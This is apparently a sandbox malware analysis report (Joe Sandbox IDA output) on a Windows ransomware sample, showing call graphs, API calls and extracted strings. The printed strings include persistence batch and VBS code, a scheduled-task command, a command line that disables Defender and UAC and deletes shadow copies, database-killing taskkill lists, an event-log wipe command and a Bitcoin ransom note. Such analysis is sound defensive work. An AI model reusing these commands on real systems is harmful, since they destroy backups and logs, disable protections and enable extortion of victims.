9c9949-9c9950 call a50c3c 4889->4902 4903 9c9935-9c9943 4889->4903 4890->4880 4891->4836 4891->4890 4895->4906 4896->4868 4897->4836 4897->4896 4907 9c97f2-9c9804 call a00210 4899->4907 4910 9c97b8-9c97bf 4900->4910 4911 9c97d3-9c97d7 4900->4911 4902->4833 4903->4820 4903->4902 4906->4874 4917 9c9791-9c9794 4906->4917 4907->4857 4907->4859 4910->4911 4919 9c97c1-9c97d1 4910->4919 4921 9c97dc-9c97df 4911->4921 4917->4866 4919->4921 4921->4899 4926 9c97e1-9c97e5 4921->4926 4935 9c9915-9c9918 4922->4935 4936 9c98e3-9c98f5 4922->4936 4926->4907 4935->4878 4938 9c990b-9c9912 call a50c3c 4936->4938 4939 9c98f7-9c9905 4936->4939 4938->4935 4939->4809 4939->4938 5132->5133 5134 9cab52-9cab6e call 9f1bd0 call 9f1660 call a75282 5132->5134 5147 9cab73-9cab7c call 9f1ac0 5134->5147 5147->5133
                                  APIs
                                  • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009C9A38
                                    • Part of subcall function 00A71D0C: DeleteFileW.KERNEL32(?,?,009C98D8,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00A71D14
                                    • Part of subcall function 00A71D0C: GetLastError.KERNEL32(?,009C98D8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000020), ref: 00A71D1E
                                    • Part of subcall function 00A71D0C: __dosmaperr.LIBCMT ref: 00A71D25
                                  Strings
                                  • "%SystemDrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\, xrefs: 009C9A4F
                                  • "%SystemDrive%\Documents and Settings\%username%\Start Menu\Programs\Startup\, xrefs: 009C9AA4
                                  • ):secttwotasklist /fi "ImageName eq , xrefs: 009C9F49
                                  • \AppData\S-6748.bat, xrefs: 009C955D
                                  • kaj3n, xrefs: 009C9865, 009C9BA1
                                  • (goto secttwo:sectonIF EXIST , xrefs: 009CA165
                                  • @echo offtasklist /v | find /I /c "dcdcf" > nulif "%ERRORLEVEL%" == "0" goto ErrorAlreadyRunningset lend=debvssadmin.exe D, xrefs: 009C9C77
                                  • ))goto notend):imertimeout /t 90 /nobreak >NULIF EXIST , xrefs: 009CA771
                                  • ">NULif "%ERRORLEVEL%"=="0" goto imerif %lend% == bed (goto akakak)set lend=bedIF EXIST , xrefs: 009C9D39
                                  • :\Users\, xrefs: 009C94EB, 009CA9C7, 009CAA7D
                                  • \AppData\S-8459.vbs, xrefs: 009CA9F1
                                  • Xinfecter.exe" (IF EXIST ", xrefs: 009CA425
                                  • slow, xrefs: 009C9344
                                  • schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /f, xrefs: 009CAB52
                                  • l, xrefs: 009CAB19
                                  • (goto secthree):akakak, xrefs: 009CA7A3
                                  • " /fo csv 2>NUL | find /I ", xrefs: 009C9C8D, 009C9FF9
                                  • @echo offIF EXIST "%SystemDrive%\Users\%username%\AppData\S-8459.vbs" (start "" "%SystemDrive%\Users\%username%\AppData\S-8459.vbs"), xrefs: 009CAADA
                                  • \AppData\S-2153.bat, xrefs: 009CAAA7
                                  • schtasks /delete /tn Microsoft_Auto_Scheduler /fIF EXIST "%SystemDrive%\Users\%username%\AppData\S-8459.vbs" (DEL "%SystemDr, xrefs: 009CA7D1
                                  • (start /d , xrefs: 009CA529
                                  • rem, xrefs: 009C92F4
                                  • Xinfecter.exe" (start /d , xrefs: 009C9DF3, 009CA215
                                  • Xinfecter.exe, xrefs: 009C9686, 009C9B66
                                  • )IF NOT EXIST , xrefs: 009CA375
                                  • " Xinfecter.exe , xrefs: 009C9E99, 009CA2C9
                                  • Dim strScriptDim oExec, oWshShellDim ComSpecSet oWshShell = CreateObject("WScript.Shell")ComSpec = oWshShell.ExpandEnvironmentStrings("%comspec%")strScript = ComSpec & " /C echo %SystemDrive%\Users\%username%\AppData\S-6748.bat"Set oExec = oWshShel, xrefs: 009CAA24
                                  • :\Users\ReadMe.hta", xrefs: 009C9ACB
                                  • cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat, xrefs: 009CAB33
                                  • a5m6f, xrefs: 009C9822, 009C9845
                                  • ">NULif "%ERRORLEVEL%"=="0" goto notendgoto secton:notendtimeout /t 15 /nobreak >NULIF NOT EXIST , xrefs: 009CA0A9
                                  • rem a5m6f, xrefs: 009C9B8B
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: DeleteErrorFileIos_base_dtorLast__dosmaperrstd::ios_base::_
                                  • String ID: ))goto notend):imertimeout /t 90 /nobreak >NULIF EXIST $):secttwotasklist /fi "ImageName eq $)IF NOT EXIST $schtasks /delete /tn Microsoft_Auto_Scheduler /fIF EXIST "%SystemDrive%\Users\%username%\AppData\S-8459.vbs" (DEL "%SystemDr$ (goto secthree):akakak$ (goto secttwo:sectonIF EXIST $ (start /d $" /fo csv 2>NUL | find /I "$" Xinfecter.exe $"%SystemDrive%\Documents and Settings\%username%\Start Menu\Programs\Startup\$"%SystemDrive%\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$">NULif "%ERRORLEVEL%"=="0" goto imerif %lend% == bed (goto akakak)set lend=bedIF EXIST $">NULif "%ERRORLEVEL%"=="0" goto notendgoto secton:notendtimeout /t 15 /nobreak >NULIF NOT EXIST $:\Users\$:\Users\ReadMe.hta"$@echo offIF EXIST "%SystemDrive%\Users\%username%\AppData\S-8459.vbs" (start "" "%SystemDrive%\Users\%username%\AppData\S-8459.vbs")$@echo offtasklist /v | find /I /c "dcdcf" > nulif "%ERRORLEVEL%" == "0" goto ErrorAlreadyRunningset lend=debvssadmin.exe D$Dim strScriptDim oExec, oWshShellDim ComSpecSet oWshShell = CreateObject("WScript.Shell")ComSpec = oWshShell.ExpandEnvironmentStrings("%comspec%")strScript = ComSpec & " /C echo %SystemDrive%\Users\%username%\AppData\S-6748.bat"Set oExec = oWshShel$Xinfecter.exe$Xinfecter.exe" (IF EXIST "$Xinfecter.exe" (start /d $\AppData\S-2153.bat$\AppData\S-6748.bat$\AppData\S-8459.vbs$a5m6f$cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat$kaj3n$l$rem$rem a5m6f$schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /f$slow
                                  • API String ID: 969238624-3584783570
                                  • Opcode ID: 595d98cf3fa1e302ef745fe2f95f0de7ad3407f9fdb226096e3459c7e6cb657c
                                  • Instruction ID: b236e0b258a71bce6ee6391633f8af7dc8b3ab93f7253c97392afe1e7117ef7e
                                  • Opcode Fuzzy Hash: 595d98cf3fa1e302ef745fe2f95f0de7ad3407f9fdb226096e3459c7e6cb657c
                                  • Instruction Fuzzy Hash: B0F25870D14268CEDB14DF64CD59BEEB7B4AF94308F0042D9E10967292EBB5AB88CF51
                                  Function 009ED08F Relevance: 58.5, APIs: 1, Strings: 32, Instructions: 777COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 5178 9ed08f-9ed0f0 call 9f11a0 call a68980 call 9f37b0 call 9f9130 call 9f3740 5189 9ed0f9-9ed1f1 call a68980 call 9d5e60 call a05c80 call a68980 call 9ee5b0 call a68980 call 9ee750 call 9f0230 call a02590 call 9f0230 call a023c0 5178->5189 5190 9ed0f4 call 9cb040 5178->5190 5213 9ed1f7-9ed200 5189->5213 5190->5189 5213->5213 5214 9ed202-9ed26e call 9c7e30 call 9f1b10 call 9f1ac0 call 9f1360 * 2 5213->5214 5225 9ed270-9ed279 5214->5225 5225->5225 5226 9ed27b-9ed291 call 9f1a90 5225->5226 5229 9ed297-9ed2a0 5226->5229 5229->5229 5230 9ed2a2-9ed2c1 call 9d3f00 5229->5230 5233 9ed2c6-9ed2cf 5230->5233 5233->5233 5234 9ed2d1-9ed30a call 9f95d0 call 9f1b10 call 9f1ac0 5233->5234 5241 9ed310-9ed319 5234->5241 5241->5241 5242 9ed31b-9ed37f call 9f1c10 call 9c7e30 call 9f1b10 call 9f1ac0 call a68980 5241->5242 5252 9ed384-9ed396 call 9f37b0 5242->5252 5254 9ed39b-9ed525 call 9f8f40 call 9f9580 call 9f9470 call 9c3730 call 9f1ac0 * 2 call 9f3740 call 9f10a0 call 9f10c0 call 9fa4d0 call a68980 5252->5254 5277 9ed52a-9ed53c call 9f37b0 5254->5277 5279 9ed541-9ed663 call 9f9490 call 9f9470 call 9f1ac0 call 9f9490 call 9f9470 call 9f1ac0 call 9f3740 call 9f1c10 call 9d4670 call 9f9b40 call 9f9c10 call 9f9ad0 call 9c49c0 * 2 call a68980 5277->5279 5309 9ed668-9ed67a call 9f3b00 5279->5309 5311 9ed67f-9ed70a call 9c3730 call 9f3a90 5309->5311 5317 9ed71b-9ed72c call 9f12d0 call 9e1c90 5311->5317 5321 9ed731-9ed825 call 9cac80 call 9c49c0 call 9f1ac0 * 2 call 9cb040 call 9f1ac0 call 9cb040 call 9f1ac0 * 5 call 9c7d70 call 9d6020 * 2 5317->5321 5352 9ed82e-9ed891 call a68980 call 9c76c0 call a01ba0 call 9f1260 call 9f0e90 5321->5352 5353 9ed829 call 9cb040 5321->5353 5364 9ed8a3-9edba9 call 9f9de0 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f11d0 call 9c49c0 * 10 call 9f1bd0 call 9f1660 call a75282 call 9f1bd0 call 9f1660 call a75282 call 9f9de0 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f11d0 call 9c49c0 * 8 call 9f90a0 5352->5364 5365 9ed893-9ed89e call 9f1170 5352->5365 5353->5352 5457 9edbaf-9edbc0 call 9cf5e0 5364->5457 5458 9edd17-9edd28 call 9f90a0 5364->5458 5365->5364 5465 9edbc6-9edcb7 call 9f9b40 call 9f9c10 call 9f9ad0 call 9f9c10 call 9f9ad0 call 9f9c10 call 9c49c0 * 5 call 9f1090 * 2 call a759c6 5457->5465 5466 9ee4a4-9ee5a2 call 9c8780 call 9f1ac0 * 3 call 9c49c0 call 9c78d0 call 9c49c0 * 2 call 9f1ac0 * 8 call 9c49c0 * 3 call 9f1ac0 call a505bb 5457->5466 5463 9edd2e-9ee0a3 call 9c5130 * 2 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9c5330 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9c5330 5458->5463 5464 9ee450-9ee461 call 9f90a0 5458->5464 5658 9ee0a9-9ee41e call 9c5130 * 2 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9c5330 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9f0e30 call 9f12d0 call 9fa750 call 9fa940 call 9c5330 5463->5658 5659 9ee434 5463->5659 5475 9ee463-9ee478 call 9ddaf0 * 2 5464->5475 5476 9ee491 5464->5476 5570 9edcb9-9edd00 call 9f9c70 call 9f11d0 call 9c49c0 call 9f1090 * 2 call a759c6 5465->5570 5571 9edd03-9edd12 call 9c49c0 5465->5571 5475->5466 5501 9ee47a-9ee48f call 9ddaf0 * 2 5475->5501 5483 9ee491 call 9df570 5476->5483 5488 9ee496-9ee49d 5483->5488 5488->5466 5493 9ee49f 5488->5493 5493->5466 5495 9ee49f call 9df570 5493->5495 5495->5466 5501->5466 5570->5571 5571->5466 5752 9ee424 call 9c5240 5658->5752 5660 9ee43a call 9c5240 5659->5660 5663 9ee43f-9ee445 5660->5663 5665 9ee449 call 9c5240 5663->5665 5667 9ee44e 5665->5667 5667->5466 5753 9ee429 5752->5753 5754 9ee42f call 9c5240 5753->5754 5754->5659
                                  APIs
                                    • Part of subcall function 009CB040: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009CB0E7
                                    • Part of subcall function 009CAE10: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009CAE81
                                  • SimpleUString::operator=.MSOBJ140-MSVCRT ref: 009ED89E
                                    • Part of subcall function 00A759C6: MoveFileExW.KERNEL32(?,?,00000002), ref: 00A759D3
                                    • Part of subcall function 00A759C6: GetLastError.KERNEL32 ref: 00A759DD
                                    • Part of subcall function 00A759C6: __dosmaperr.LIBCMT ref: 00A759E4
                                  Strings
                                  • Dflt, xrefs: 009EDB9D
                                  • h2gq, xrefs: 009ED57E
                                  • taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskk, xrefs: 009EDA49
                                  • p2h6, xrefs: 009ED3B9, 009ED481
                                  • </span></br></br>If You Want To Restore Them Email Us : <span class="spnn">, xrefs: 009ED8ED
                                  • Z0, xrefs: 009ED1D1
                                  • If You Do Not Receive A Response Within 24 Hours, Send A Message To Our , xrefs: 009EDAB2
                                  • :\Users\, xrefs: 009ED5ED
                                  • alfons, xrefs: 009ED609
                                  • If You Want To Restore Them Email Us : , xrefs: 009EDA80
                                  • \AppData\N-Save.sys, xrefs: 009ED622
                                  • file, xrefs: 009EDB98
                                  • c, xrefs: 009EDD09
                                  • To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .Every Day The Delay Increases The Price !! The Decryp, xrefs: 009EDB1C
                                  • _Mail-, xrefs: 009EDBF7
                                  • </span></br></br>To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .</br></br>Every Day The Delay Increases The , xrefs: 009ED985
                                  • Second Email :, xrefs: 009ED869
                                  • 4O99N, xrefs: 009ED8D4, 009EDA68, 009EDBDE
                                  • U, xrefs: 009ED6E8
                                  • c, xrefs: 009EDB8F
                                  • _[ID-, xrefs: 009EDBC6
                                  • u4g8, xrefs: 009ED541
                                  • Telegram , ID :, xrefs: 009ED893
                                  • reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic, xrefs: 009EDA1B
                                  • for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1", xrefs: 009EE4A4
                                  • <span class="spnn">, xrefs: 009ED953
                                  • <html><head><title>, xrefs: 009ED8A8
                                  • n7t0, xrefs: 009ED3A6, 009ED46E
                                  • </title><style>.spnn { background-color:yellow;} .xsw{color:white;} .Circe1 {display: list-item;padding-left:30px;}.dives{backgrou, xrefs: 009ED8BB
                                  • All Your Files Are Locked And Important Data Downloaded !Your Files Are No Longer Accessible Don't Waste Your Time, Without , xrefs: 009EDA6D
                                  • </span></br></br>If You Do Not Receive A Response Within 24 Hours, Send A Message To Our , xrefs: 009ED91F
                                  • .2QN, xrefs: 009ED4E5, 009ED4F2, 009EDC42
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Ios_base_dtorstd::ios_base::_$ErrorFileLastMoveSimpleString::operator=__dosmaperr
                                  • String ID: If You Do Not Receive A Response Within 24 Hours, Send A Message To Our $If You Want To Restore Them Email Us : $To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .Every Day The Delay Increases The Price !! The Decryp$ <span class="spnn">$.2QN$4O99N$:\Users\$</span></br></br>If You Do Not Receive A Response Within 24 Hours, Send A Message To Our $</span></br></br>If You Want To Restore Them Email Us : <span class="spnn">$</span></br></br>To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .</br></br>Every Day The Delay Increases The $</title><style>.spnn { background-color:yellow;} .xsw{color:white;} .Circe1 {display: list-item;padding-left:30px;}.dives{backgrou$<html><head><title>$All Your Files Are Locked And Important Data Downloaded !Your Files Are No Longer Accessible Don't Waste Your Time, Without $Dflt$Second Email :$Telegram , ID :$U$\AppData\N-Save.sys$_Mail-$_[ID-$user$c$c$file$for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"$h2gq$n7t0$p2h6$reg.exe add "HKLMSoftwarePoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f&reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic$taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /im dbsnmp.exe&taskkill /im synctime.exe&taskkill /im agntsvc.exe&taskk$u4g8$Z0
                                  • API String ID: 4082941153-3654210648
                                  • Opcode ID: 14a2a481a3a8af5896bba78ffbe386c32f5d36982eca754fbea81ddd614abc1c
                                  • Instruction ID: 07b758fb6104731e728af0634af5ef8c06e0ce3527d4cfc19137081b775c10f4
                                  • Opcode Fuzzy Hash: 14a2a481a3a8af5896bba78ffbe386c32f5d36982eca754fbea81ddd614abc1c
                                  • Instruction Fuzzy Hash: 7B727F70D1115CDADB14E760DD52BEDB7B8AF61304F4480E9A14A63292EF716F88CF62
                                  Function 009D4670 Relevance: 20.4, APIs: 5, Strings: 6, Instructions: 1165COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetWindowTextLengthA.USER32(?), ref: 009D5327
                                  • GetWindowTextA.USER32(?,00000000,00000001), ref: 009D53F9
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: TextWindow$Length
                                  • String ID: !$P$asykat$asykat$k2ba8v$r1d8la
                                  • API String ID: 1006428111-138844214
                                  • Opcode ID: 1335b0dda5f181735c0b4970a3fa9ffbf7ee716179199cf18cb1c2495361dbbe
                                  • Instruction ID: 6403cb27ac6b83a99d835cea0cc9daf821ed82ecfd0f27a257f49e7421c6df56
                                  • Opcode Fuzzy Hash: 1335b0dda5f181735c0b4970a3fa9ffbf7ee716179199cf18cb1c2495361dbbe
                                  • Instruction Fuzzy Hash: C1A2E570A002588FEB24DF68CD85BEEBBB5FF45304F14829AE409A7391DB759A84CF50
                                  Function 00A24230 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 123encryptionCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  APIs
                                  • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,215D2A08,00AE9528,?,00000000), ref: 00A24275
                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00A9C5D8,000000FF,?,00A24970), ref: 00A2427B
                                  • CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 00A2428F
                                  • CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 00A242A0
                                  • SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00A9C5D8,000000FF), ref: 00A242C5
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A242F4
                                  • ___std_exception_copy.LIBVCRUNTIME ref: 00A24342
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: AcquireContextCrypt$ErrorLast$Exception@8Throw___std_exception_copy
                                  • String ID: CryptAcquireContext$Crypto++ RNG
                                  • API String ID: 636621833-1159690233
                                  • Opcode ID: 69c0e22101c4425aca62b7197bf1b1eda43cd683dee901810f04f1687edfa905
                                  • Instruction ID: b08d60574569d3bfcf3b078453860e56dd5b73d0fec6e8965f10e1aa8a8c5f9c
                                  • Opcode Fuzzy Hash: 69c0e22101c4425aca62b7197bf1b1eda43cd683dee901810f04f1687edfa905
                                  • Instruction Fuzzy Hash: 3D41A072A40319BFDB10DF98DC41F9AB7FCFB09B10F10462AF511A7280EBB5A5048BA0
                                  Function 009D0239 Relevance: 11.0, Strings: 7, Instructions: 2204COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: $1234567891234567$@$U12H6AN==$_Enc$_[ID-$nqpso5938fh71jfu
                                  • API String ID: 0-226619287
                                  • Opcode ID: 872644fd05f8781e9f2b352f41feb968a04c2994fcf55656661de84eafa6342a
                                  • Instruction ID: 1c5fd9711174a39387760d632924436212ce18ab0a3173100dfd4c4254dc49b9
                                  • Opcode Fuzzy Hash: 872644fd05f8781e9f2b352f41feb968a04c2994fcf55656661de84eafa6342a
                                  • Instruction Fuzzy Hash: 8313CE71E002589FDF24DB68DC85BDDB7B9AF85304F10829AE049AB391DB74AAC4CF51
                                  Function 009D4500 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111COMMON
                                  Download Yara Rule
                                  APIs
                                  • NetUserEnum.NETAPI32(00000000,00000000,00000002,00000000,000000FF,00000000,?,?,215D2A08), ref: 009D4565
                                  • NetApiBufferFree.NETAPI32(00000000), ref: 009D4606
                                  • NetApiBufferFree.NETAPI32(00000000), ref: 009D4622
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: BufferFree$EnumUser
                                  • String ID: Default
                                  • API String ID: 2592758740-753088835
                                  • Opcode ID: 69a96b5e24a2273bf53c6e5f630ebc44b8a8e3d49434ffd22c988e4e89153ca1
                                  • Instruction ID: 5bea02ba1643697a8ca86acba8c5e9537659bf1f577cb27c030c70fa4f7bf9ac
                                  • Opcode Fuzzy Hash: 69a96b5e24a2273bf53c6e5f630ebc44b8a8e3d49434ffd22c988e4e89153ca1
                                  • Instruction Fuzzy Hash: 16417E71D002199BCB14CF98D985BEEB7F8FB49710F10866AE912B7390D774AE04CB90
                                  Function 00A24900 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91encryptionCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CryptGenRandom.ADVAPI32(00000000,?,00000000,00000001), ref: 00A24980
                                  • CryptReleaseContext.ADVAPI32(?,00000000), ref: 00A2499F
                                    • Part of subcall function 00A24390: GetLastError.KERNEL32(00000010,215D2A08,7508FC30,?), ref: 00A243E0
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A24A0A
                                    • Part of subcall function 00A67E0C: RaiseException.KERNEL32(?,?,00A3538C,?,?,Dflt,?,?,?,?,?,00A3538C,?,00AD9978,?), ref: 00A67E6C
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
